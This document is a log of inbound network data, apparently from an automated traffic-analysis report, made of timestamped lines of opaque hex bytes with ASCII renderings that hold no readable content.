2022-01-13 19:22:56 UTC	1037	IN	Data Raw: e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63 0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c3 5c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 e1 a2 40 30 57 74 61 96 b2 67 0c a7 90 b0 ca 32 56 e9 63 1b 35 72 6f 4d 5e a6 0e 86 e4 77 71 2c 5a f2 8f 0e 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88 15 ce bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00 e1 0a b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69 1e cb c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 c3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34 b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01 6d 18 4c 82 59 cb Data Ascii: 6Z0&y>,Wg\40g0cyQXF;\oQ6L2@0Wtag2Vc5roM^wq,Z/P4O6?]HKNJ88p,z(z<RIRbOZB!iw" ~B^n5wzDX}` k4uAmLY
2022-01-13 19:22:56 UTC	1038	IN	Data Raw: d4 0f cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6c 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53 41 59 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 0b cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 e1 1e 60 0c 88 2a eb fb a9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1a 7c ab 48 d8 9c 0f 7a bd e8 d8 32 f5 de 95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71 41 54 5c e7 35 92 82 5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df 19 31 92 27 88 4e bc dc 9e 06 5e e0 3a 6a 99 14 40 ac Data Ascii: v?loTj_).@SAY1Hr@P@`okkXr`rk~GQ(~2,\|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-qAT\5\{&s[&pOTgL?BF11'N^:j@
2022-01-13 19:22:56 UTC	1040	IN	Data Raw: 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 0f 16 b2 1f b7 d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5c 46 cd 3a ea 5c 5a 3a 90 73 69 60 90 80 8c bb 46 1b d8 35 8f 29 35 9f 27 a0 3b a2 0e 76 e9 2f 99 bb 39 33 7c 9b 97 63 97 d6 e0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33 fc e4 6f 0f b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 0b d8 e2 0c 42 83 d5 1f 84 dd 51 2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 f7 cd c8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5c 97 a1 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c a1 e6 f0 c6 d9 a7 ee c7 c8 59 01 2d a4 80 a1 f2 ee 56 f2 3a b0 cd 15 b0 3c 30 be 62 b8 40 33 90 0f 98 7f e5 c7 7e b3 cf 6c Data Ascii: @1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si`F5)5';v/93\|c%TSByI3o>;FjhQ]d\t0BQ-NZCU?$H;;_u!iiT\qE]vz,Y-V:<0b@3~l
2022-01-13 19:22:56 UTC	1041	IN	Data Raw: 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd 0f bf 40 4e 08 7c dc e3 b3 ba 28 13 a4 49 e3 90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 0b d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c 37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 f8 f6 7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5c 92 c6 33 da e0 92 73 3c c9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31 4a af 10 88 0b be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 e0 d7 d6 7f c0 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf 26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec cf e6 52 df cc 0f 0e f6 54 e2 95 ef 65 1e 63 09 82 81 Data Ascii: "Zs`HXz@N\|(IkxC!~z \N1\|"J=L7ph8IDO8]&> '))JxwxU}[\|,?\3s<de&b1JO+k`eRd&1dOMO\|,}:)>+CMXz[b)RTec
2022-01-13 19:22:56 UTC	1042	IN	Data Raw: 0e d6 32 98 06 19 77 0f da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 0e a5 9b 11 02 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15 7e c0 b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6c bc 72 67 57 0e ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc 9c 0d 70 b9 ac 05 61 0f 07 7b 32 36 4e 40 0a ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5c 78 c7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 c3 12 57 c1 03 47 f8 4a de ca f5 6f 43 c3 a7 66 cf 1a ce ad ac 6c fe b2 7d 42 7c d2 4f 04 df 5c e9 63 f1 e6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67 e7 36 bd 10 57 c3 14 2e e0 8d be 9b e2 31 ce 9d 30 92 24 0d Data Ascii: 2wEE~)%Q19V$B^6&)F]FziYEq~~?hk-lrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B\|O\cy6J!t ig6W.10$
2022-01-13 19:22:56 UTC	1044	IN	Data Raw: dd 47 1d f8 e4 c0 bc 78 df 59 01 c3 32 1e 31 f3 78 d8 e4 e3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 c5 b0 29 f4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 0b a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e 0b c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82 2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 0c 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef d0 ff b2 7a b4 a5 f0 bc 67 19 22 3f b6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27 18 19 dd 82 2f 7d 3a 8d bc c4 7c dd 15 32 00 f3 94 63 97 88 2e e1 0e 3f f5 c2 70 c7 1d 00 df 59 05 83 a9 80 19 a8 f0 de ec e5 58 5b 08 cd 0e ab bd 45 4d 41 2d 6d 70 4f 59 Data Ascii: GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/h0jfx(qCSH;2zg"?!H=kh?DT>P\|/}E'/}:\|2c.?pYX[EMA-mpOY
2022-01-13 19:22:56 UTC	1045	IN	Data Raw: da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb a1 34 7d 44 94 29 f6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7 2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 f0 ad ba 9c 7b ae b2 88 4c dc 83 d2 c4 69 06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 f0 b3 1d c0 6d fe 74 7f ae b0 33 38 91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 0e 18 83 f2 7f a7 0f cb c8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 e1 77 b8 d5 01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8c 98 29 d3 bf d0 b7 a5 24 67 9a 31 92 c7 1f 7b de 8d 09 39 e1 40 33 33 7f Data Ascii: %<ux4}D)hK&qF,pKMc{Li=LjRKNjRmt38Y<OW+!KThiks6L`"8s'83}XfwNTQBdSZme^H.a'a)$g1{9@33
2022-01-13 19:22:56 UTC	1047	IN	Data Raw: 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 e1 ac 36 b5 0d b1 f6 e8 5e 04 b7 bf f0 b4 af 18 4f e7 10 17 96 09 9a 2b 83 23 1a 84 eb 6c 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 0b 72 b8 38 78 37 3c 96 c9 6c f9 5a 8c 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 c3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9b ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 e9 e3 03 20 c0 86 5e be 68 38 35 c5 0e d3 44 6e 5c 58 2f 36 b4 27 80 ef 22 9f 86 51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 0b d1 f6 aa 2e 14 e0 52 bc 9c ea c5 40 2a 10 17 8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de 32 af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b 9d 11 Data Ascii: 3T$/N/496^O+#l+kgDpYrWr8x7<lZoa0Oc0,CJAP8O/6M<k]8r ^h85Dn\X/6'"Q(_)5>50z%U?.R@_a6ktRpf+`{$ e23[VIhu+
2022-01-13 19:22:56 UTC	1047	IN	Data Raw: 25 82 f2 85 93 96 e1 41 c6 94 1a b8 83 b9 5f 66 9a 7d 37 50 91 f3 c7 7c 59 6e 9c 1c cc 4e c0 cc f7 d6 ff 93 18 23 e3 d1 5c f2 52 65 dc e9 45 58 e6 81 c8 ed 81 0b a4 a9 5d 2d f5 6c c9 10 11 bb 88 a5 f2 5e e0 89 dd 12 67 43 a3 88 4a b3 b9 54 e3 55 b6 35 90 78 ab 62 0a bc c0 df b9 a6 07 3f bb 53 2c 7f af ab ef 14 59 6c 78 71 59 0c 46 18 63 05 36 f2 80 31 3b 78 df a3 00 b4 3f b0 91 03 c7 68 17 c7 7d 22 26 54 33 0e 46 c7 60 69 bd 53 40 34 1a 19 a4 66 92 d9 3c 2b 86 e2 45 20 13 c5 f6 66 86 5e 4c 14 3f 58 38 71 79 8c b1 bd 89 ca e7 24 37 87 7f a6 14 ff 90 01 c1 93 fb ac 86 e5 2f 99 e4 ac 5e 6c 32 3d c8 e6 a7 f9 14 ec c2 9a 63 04 ab 74 43 8c 2f 95 f1 3a 21 fb da 90 e4 1d f7 c7 8a 8c 2c 45 3a 2d 97 a6 15 d6 61 a7 85 a5 7a 70 35 95 ef 20 1a 71 24 56 e8 b0 c4 07 44 Data Ascii: %A_f}7P\|YnN#\ReEX]-l^gCJTU5xb?S,YlxqYFc61;x?h}"&T3F`iS@4f<+E f^L?X8qy$7/^l2=ctC/:!,E:-azp5 q$VD
2022-01-13 19:22:56 UTC	1048	IN	Data Raw: b9 fd 96 4d 89 6d c2 fa da 74 be 61 f0 28 a9 1f 5e 26 56 71 0c 2f aa 2d 3d a4 b8 a5 31 30 51 07 f7 d8 80 40 29 ce 67 3b ea 69 55 2e f0 69 52 74 9f dc 53 30 db bb 1c 89 55 b2 52 0c 9f 1a 3c 54 40 29 10 a5 f8 fd cd 88 3b a9 e4 15 dd 0a 5f b2 28 b4 30 73 24 6d 68 6b 59 64 88 4b 30 7b 96 30 62 25 67 37 be ca e0 0a f2 5d c8 d0 89 38 cf 72 b9 45 e7 9c 61 38 87 3d aa 67 b8 f6 a3 57 16 5a 91 97 e7 d2 42 34 02 18 97 97 1f 32 7b d2 03 22 72 a0 a0 77 50 90 14 3e 27 96 c8 f3 c1 be 0b bb b2 0b 7f 19 8a 52 d3 62 8e 3b 04 0b db 9e 9e d6 f1 21 ee 1a b4 7e d7 06 b2 65 c6 38 3b d0 fe 3b b3 71 9f 80 37 a2 70 a7 4f b0 f7 72 ac 77 30 d0 13 14 02 b0 74 ba 1d 0c 61 3c 30 52 d4 3f 5b 4b 15 dc c5 5e 3b 14 7a ef 23 e4 af fb 75 93 c4 43 54 d4 6a 2e 39 fb 46 26 56 e5 0f 58 7e 7b 5e Data Ascii: Mmta(^&Vq/-=10Q@)g;iU.iRtS0UR<T@);_(0s$mhkYdK0{0b%g7]8rEa8=gWZB42{"rwP>'Rb;!~e8;;q7pOrw0ta<0R?[K^;z#uCTj.9F&VX~{^
2022-01-13 19:22:56 UTC	1050	IN	Data Raw: 6d 0c f7 20 69 1e a7 9a 03 36 10 58 2f 76 aa 25 e2 91 f4 d1 2c 8a fe 23 95 12 f4 38 bd ac 4a 6d a8 9d 28 b7 d2 5f 2a 87 67 cb 0d 5d 02 ca 73 c5 d3 e9 c0 ab ef f0 a8 16 47 5b 26 22 b8 7c 74 9b fb b2 94 45 28 0d aa 8a 5d d7 73 58 51 63 49 3d 3d 1b 91 06 66 c0 a7 08 c7 12 2f 4d b0 46 de 9b f2 5e 6a 78 c9 7f 15 d6 8d fc ba 06 ca a3 40 b1 7a f0 7a 88 70 d7 7f 6f 02 06 cf 10 f0 8f a4 9b 51 b4 4b a6 c6 99 06 23 1a 1e f8 3b 47 7a fd ac 39 1e 04 6b ba b1 b1 b4 36 04 17 67 61 13 bd 48 98 67 00 b8 90 a5 ec ec 6c 1c ba 95 3e e5 b5 73 61 d2 d1 9d d8 3f da 1c 65 63 e3 45 3c 99 eb 7a 34 b2 80 3c 92 49 15 55 f4 3a 5d d1 93 92 d1 92 75 77 51 1c 18 fa dd 12 34 64 15 2f f6 57 77 31 87 dc 36 de ec e4 f7 9f 42 cb ad e3 5e 37 1c 4d 91 9d cf 25 2e 20 0b 6a 9f 19 66 fb 40 4d 31 Data Ascii: m i6X/v%,#8Jm(_*g]sG[&"\|tE(]sXQcI==f/MF^jx@zzpoQK#;Gz9k6gaHgl>sa?ecE<z4<IU:]uwQ4d/Ww16B^7M%. jf@M1
2022-01-13 19:22:56 UTC	1051	IN	Data Raw: 3f c2 0a 92 eb 8f 31 42 67 60 dc fa 48 a4 8b df ae 26 27 9a 19 82 14 ab 42 82 99 b0 2c 76 ad e7 a9 83 d9 a2 b8 4f f1 86 25 57 29 f6 0b d4 57 0d 00 d8 f4 32 80 f4 85 cc 87 b3 a8 1d 0a 70 d3 95 75 e3 16 2b 3f 31 90 6c 8b 7f 84 26 de 28 74 0b 28 0a b5 b2 3d d5 05 3a 23 e5 3f b0 c3 8a 27 1d 65 35 93 81 2f c7 6c 89 cd d2 72 92 63 72 17 ac 3c 2a 02 3c 99 c7 de 4b 33 76 19 df 08 bd e5 ac 01 34 6d a8 f0 a5 91 e3 b3 27 c7 60 e6 b9 de e0 0a 06 98 7c b4 2b 12 ac 0f 5f 03 4b e9 29 28 b9 3a b1 5e de 35 86 c6 48 c4 c6 dd 16 f1 d8 af 3b c6 63 bb 6b 18 53 59 6d fd c5 4e df 84 c8 fd db ed e7 0f c8 e4 ae e6 a4 0c 4a ce 72 85 cd fd f0 b0 2e 09 77 7c dc 63 dc 87 ce ea ab b8 70 c9 79 2c 7a e3 19 dc 0c c3 56 ef 92 83 c4 7b 83 eb 30 16 43 52 15 bc dc 81 c6 d5 62 d5 8c 5f 7a a7 Data Ascii: ?1Bg`H&'B,vO%W)W2pu+?1l&(t(=:#?'e5/lrcr<*<K3v4m'`\|+_K)(:^5H;ckSYmNJr.w\|cpy,zV{0CRb_z
2022-01-13 19:22:56 UTC	1052	IN	Data Raw: 68 9d 55 6b 1c 63 1b 99 46 1b f8 55 7f 1f 49 54 e7 85 7f c4 39 14 b7 06 1b 07 d8 82 d7 ee be 97 48 68 79 a9 09 a1 30 48 72 08 16 ba cd e4 b2 2c 15 76 02 be 3e 5e 7c ef 58 6c d4 01 32 4a b9 c7 20 91 f9 83 d3 f1 68 0e 4c 99 f2 ac d5 64 da a0 ad 44 4e 64 5c 6f 0b c2 dc e7 4f 2d 8b 8e 08 a2 1d 4e 6d 14 f8 a3 9b 15 1c 09 25 fc f3 9a 6b a8 ec 42 d3 33 21 12 f0 1e cc 72 4f 00 44 aa c2 63 0b 34 10 e8 5c 9f 0c 1a 1a 93 b5 39 a3 dd 68 08 f5 38 3c 76 a2 fb 96 85 d4 be c7 d7 b2 3d fe 62 12 ff a5 21 30 bc cc fa 40 59 04 cb 6d ed 57 77 2c a2 e8 bd df f0 af 10 80 26 70 a0 a6 51 44 ce 48 7a 59 37 46 72 29 1e f5 64 38 6d f1 96 99 11 c2 5f 75 8a d7 74 5f 3f c5 ad eb ce eb 6e ef b0 6f e6 a5 d1 6c 1b a6 99 e7 65 19 6c 22 62 cb 48 60 45 31 2e c5 c9 66 92 75 45 3d df 03 1a 00 Data Ascii: hUkcFUIT9Hhy0Hr,v>^\|Xl2J hLdDNd\oO-Nm%kB3!rODc4\9h8<v=b!0@YmWw,&pQDHzY7Fr)d8m_ut_?nolel"bH`E1.fuE=
2022-01-13 19:22:56 UTC	1054	IN	Data Raw: a6 04 0a 60 10 ed c4 78 d3 74 a1 23 e2 df 9f ef 44 3e ac cf 74 ae 4b 27 ec f8 fa 49 46 22 b5 c8 87 ce be cd 7c a8 ac e0 9d cd 29 c5 cc d2 b4 f5 9e 09 7c d7 c9 61 61 72 ac 53 3e 98 93 b3 dc 9d 9d 2f 60 a7 ec a0 17 c3 cb aa 3f ad 07 82 cb 1f e1 14 f9 74 d1 03 2d 95 48 03 46 78 60 bb 27 46 02 a7 f8 5c f9 d4 ab d1 3f 58 18 4c 94 0c 2b 8c 74 45 4d 4c 3a e2 9c 64 95 82 4b 52 ca 53 9c 1f ae 67 5a 7d 1b a7 57 9e 75 b0 c9 02 a8 28 18 54 e8 3a 3c 94 a4 5c 97 f4 5e e3 51 5c 78 7e f9 0a f9 f6 dc 93 ff a7 9e 38 df 10 4b 32 d2 11 81 be c2 cf 69 01 29 9d 47 44 30 1d fa 46 c7 34 1e 73 29 eb 9e e3 7d 3b b9 5b 7e a3 04 57 0b 2f 54 91 f9 e8 c4 1b 6d d8 d3 a3 ae 93 71 58 4b 51 ef 22 eb 30 08 a1 e3 59 39 4a 65 e0 4d 05 2b f4 9c e5 f0 aa 24 43 4f 53 5c 06 85 8d e7 24 73 3d d3 Data Ascii: `xt#D>tK'IF"\|)\|aarS>/`?t-HFx`'F\?XL+tEML:dKRSgZ}Wu(T:<\^Q\x~8K2i)GD0F4s)};[~W/TmqXKQ"0Y9JeM+$COS\$s=
2022-01-13 19:22:56 UTC	1055	IN	Data Raw: 36 43 42 92 cc f3 cf 6f 1a 74 cf 35 b1 ab bb 49 27 e3 da 58 e3 1d 02 70 c3 3b b4 33 57 66 83 7f 17 ba 7d ef 7e c4 7d dd 7d 3f 6d 97 45 ec b7 a3 89 45 05 bb 9d 82 54 ee bb b6 15 95 ea 10 f6 3a 2b 84 50 f3 8e 2c 9d a2 49 90 52 40 1d 29 ca ad 73 84 22 d9 1c da 9b 9d 84 46 df 7f a5 18 95 bb 58 e1 0b c2 bd ec 13 ef 2c 17 df 6c 14 73 6f fd 6a a7 96 61 7f ca f2 cf 7e a1 1c 2e 71 8c f2 6a 9f 94 78 d4 54 5f 74 d8 7f e0 fd 05 d9 15 ad a3 f6 48 1c df 0c a1 89 ab a6 da 68 88 b8 3d 16 44 f0 53 4f e5 3a cb 67 46 50 3a 36 1b 7f a4 12 4b fc 89 bc 53 c4 f0 b8 2a 16 2b cf 6b 5d 25 b0 66 f3 c2 c5 85 c1 4a 70 6a ec d3 70 8c dd 03 21 01 f1 4e 3b 77 50 6c ba cb 6f 1c c7 c1 7d 2a 13 df 6c c0 a0 42 7a fa 0c 27 fc 7b e6 ba db b8 f9 b5 c5 58 2e 8e 7d 3b 43 69 7c 0e 8e 18 e8 7c b3 Data Ascii: 6CBot5I'Xp;3Wf}~}}?mEET:+P,IR@)s"FX,lsoja~.qjxT_tHh=DSO:gFP:6KS+k]%fJpjp!N;wPlo}lBz'{X.};Ci\|\|
2022-01-13 19:22:56 UTC	1056	IN	Data Raw: f3 a6 0f 8b 10 55 6e 76 69 6c fa 54 32 d7 0c 58 5c 39 c7 8f 3d e6 d4 19 33 93 b7 f9 f9 cc 8b 7e 05 41 4f c8 ac 24 65 1f 30 00 06 11 02 a5 82 45 3e d1 91 f4 24 71 ca d9 1d fb 32 d2 92 d3 b7 e3 1f 5c c7 29 39 38 9d 9c 7f b5 b3 bc f3 c9 73 cc 21 9b b2 86 69 5c 98 19 26 8f d5 70 95 83 3c dd cc 4d ba d6 38 91 ac 29 93 ef fa 5b 21 7d ad 14 af be 1f e0 22 fa 08 60 ff c6 d0 e7 66 2b af eb e9 b5 1a 84 e4 9b 88 71 23 30 29 a4 3d 82 71 06 8b fd e9 11 ec 8a 66 b5 98 00 09 21 5c 49 35 de a0 18 4c d2 82 43 7a 64 9d 8c 26 62 17 ab be d2 1b 3b c9 36 dd 0b 20 61 a3 e6 3c 3e 95 8e 02 35 75 4c 9f bd 36 b3 0d 44 40 94 dc 94 82 2b 33 59 12 31 9e 55 02 b1 af 04 6f 7c e4 61 d7 f8 ca 75 aa cc 2a 1d 86 e3 22 b0 1e 0f 67 17 43 5b 17 48 74 cf 0c 25 e0 db c0 cd 76 de 95 9f f9 df 09 Data Ascii: UnvilT2X\9=3~AO$e0E>$q2\)98s!i\&p<M8)[!}"`f+q#0)=qf!\I5LCzd&b;6 a<>5uL6D@+3Y1Uo\|au*"gC[Ht%v
2022-01-13 19:22:56 UTC	1058	IN	Data Raw: 14 d1 c2 80 d6 f9 d0 36 26 6f f6 91 e6 36 31 38 76 b8 df eb 34 f1 36 65 61 e8 a2 0f cf 78 66 f8 44 3d b5 61 a3 99 56 ca 12 68 77 02 bd 41 b4 f1 f2 94 62 8b cc 4e 97 ff 1f d5 7c 2c 77 20 f8 85 b3 24 7f e4 e2 7c e1 17 4f 1d e8 7a 76 ab 34 39 24 55 e9 1b f9 c7 6d df c5 95 ee b2 22 e7 49 5d d2 5e 83 54 fc 75 78 7e 87 cf d0 e4 2a cf e5 9e 18 fd 6a 81 4e 04 12 32 0d 09 e7 3b af 8a 58 77 ec 6d 0a b9 43 28 bd 50 1c 5d 7c 18 ee a6 bf 52 f3 97 6e ec b0 bd 16 4e 77 93 fc fa b9 49 94 b1 bc 64 bb c8 54 e4 14 81 d1 87 f3 dd d9 08 54 20 ab aa 21 e3 8b 38 3e ec 97 f9 64 55 e4 08 a1 b4 68 2a ee a1 18 2a 0a 2b c2 da 23 c5 e3 60 ec 7c 73 3a d6 bd 4f 45 50 12 90 a5 94 7c aa 87 ae 38 88 82 2e 90 7b 10 0b 6d f6 47 d4 1a 73 fb e3 1f 40 74 b1 00 bd ca 90 f4 be c6 d3 76 76 1a 75 Data Ascii: 6&o618v46eaxfD=aVhwAbN\|,w $\|Ozv49$Um"I]^Tux~jN2;XwmC(P]\|RnNwIdTT !8>dUh*+#`\|s:OEP\|8.{mGs@tvvu
2022-01-13 19:22:56 UTC	1059	IN	Data Raw: 01 f8 e2 13 1f e9 3f 10 11 2e d0 11 57 03 c5 77 70 c8 96 a5 e9 d9 b6 07 2d 9b ce 10 2a 36 c6 4c a8 12 80 a8 06 5f 68 77 4a 1d 87 2d f2 90 ea 51 50 6c a7 82 89 e6 a3 50 c5 5d 15 ec d0 3f d4 89 16 cd 17 c0 b4 e4 48 36 0d 7a 9b 9b 85 1d 92 cb a1 15 b1 b1 40 e6 b5 6c 89 3e 84 90 68 9c 89 31 fe 00 e8 19 8b 71 0f 9b 31 9c f3 e6 2b 02 ce a9 87 ce 87 e2 8c 47 65 6b b6 3c c6 d3 71 38 37 ad 33 7f bb 30 d7 f4 4a d7 16 5f 99 4a 7f 23 36 a9 92 6a 9d 9f 3e db e4 15 03 cb 1b f4 49 5c 10 a4 a2 e2 58 5e 98 69 16 51 b0 82 ab 44 fc be ad aa 35 8e 85 23 43 5d a8 ae 53 4d 40 24 cb db a2 ed f2 f0 d3 6f 11 d3 c6 3c ce 44 e5 c6 b1 a0 06 bd a5 65 b6 8d 3b 13 bd 5c f3 c3 bd ba 7f 6e 4e 33 14 47 55 68 3d 1e 9a 90 a6 ae ab ac 25 f2 a6 a4 a6 e7 ef 88 9b 4a 4b 46 dd 1c d2 4f bf ff 04 Data Ascii: ?.Wwp-*6L_hwJ-QPlP]?H6z@l>h1q1+Gek<q8730J_J#6j>I\X^iQD5#C]SM@$o<De;\nN3GUh=%JKFO
2022-01-13 19:22:56 UTC	1060	IN	Data Raw: fb 74 8b 8c 97 1d 4e 99 dd e7 85 f7 8b c8 82 e3 1f 96 e3 5b 09 d8 71 69 1a 3b af 5c 3f f1 7a 66 33 6f 48 c9 3a 43 c2 c2 bf 42 2d 81 7c 7d 22 ac 98 24 70 a6 11 c3 95 f6 5a f7 c4 96 28 c3 32 bb 42 87 27 93 ef 7d 67 75 b9 1c 04 40 c8 b2 21 bb 28 e9 a7 c9 7a fc e7 51 05 94 9c 6e 43 af b5 bc d1 f5 96 16 b7 32 51 51 02 21 53 b9 14 f1 4f f2 fd 2e 7d 33 c5 1f 56 00 c4 ab 3b 42 6e d7 73 3c 6b 6c db 15 4f 04 fb 38 2a b8 7b 5b 18 56 46 d9 0a af 41 72 a4 12 4c 6c 18 3e 29 c2 16 12 01 64 d1 ad 62 3f eb 30 0f cd 6d 46 81 18 68 b4 55 f7 d3 2f 8c ab bd 47 50 dd 19 e6 64 f6 61 62 e9 b9 40 4c 48 9d e0 cd c7 eb 48 2e 00 b8 69 e7 85 76 26 63 ae ca eb 9c 61 7f 3a 40 8f 52 94 61 c5 5c f4 03 49 da 5f e7 96 67 9d 14 4f 4a cb 6a 3e 5f 7d bb 39 4f e6 f8 43 14 e9 40 5d 12 13 cd 53 Data Ascii: tN[qi;\?zf3oH:CB-\|}"$pZ(2B'}gu@!(zQnC2QQ!SO.}3V;Bns<klO8*{[VFArLl>)db?0mFhU/GPdab@LHH.iv&ca:@Ra\I_gOJj>_}9OC@]S
2022-01-13 19:22:56 UTC	1062	IN	Data Raw: 74 73 35 e0 34 a0 56 f7 c2 d3 10 5a e8 71 39 b8 99 1d 89 6b d6 f0 5b 98 32 07 38 3a c5 7b 77 4f 4c d7 a4 f5 df f9 b8 f3 b6 99 43 d7 1c 2f 8f 9e cb 1c 0b 67 48 a7 e5 76 07 9b 31 9d 89 d2 89 43 f2 52 bc af b0 44 2d 89 c5 c9 e8 dc 3e eb 54 9e ef 2a 12 09 43 a8 cb 0d c0 d4 52 b0 8f 51 21 95 8f ef 15 b8 20 6a 79 ea d0 b6 79 69 88 7a f7 16 fc fa 41 b9 43 bd 2d 99 3f ce f2 5e 42 fe 3a 93 f3 bf f4 fd d7 1f f4 c0 e9 7e aa 2e 13 cb 0c d9 be f4 41 a4 01 43 e6 33 07 19 d0 f9 c8 f5 b5 d6 9b f9 81 db 1e 7b 32 82 e9 2e 0d ca f5 a0 a7 ff d0 89 c6 64 eb 2e 09 78 b0 3e 20 6c 01 c0 f8 45 57 68 f6 e2 2d 9e 7a b0 94 18 43 b1 1b 81 cd 16 f5 72 a5 fa 07 49 4d 49 50 c6 dd a2 cb 9d 6a 4a 3d 19 7c 5c f0 d7 1a 8b b7 a3 83 5d c4 ba 55 02 b7 a2 a4 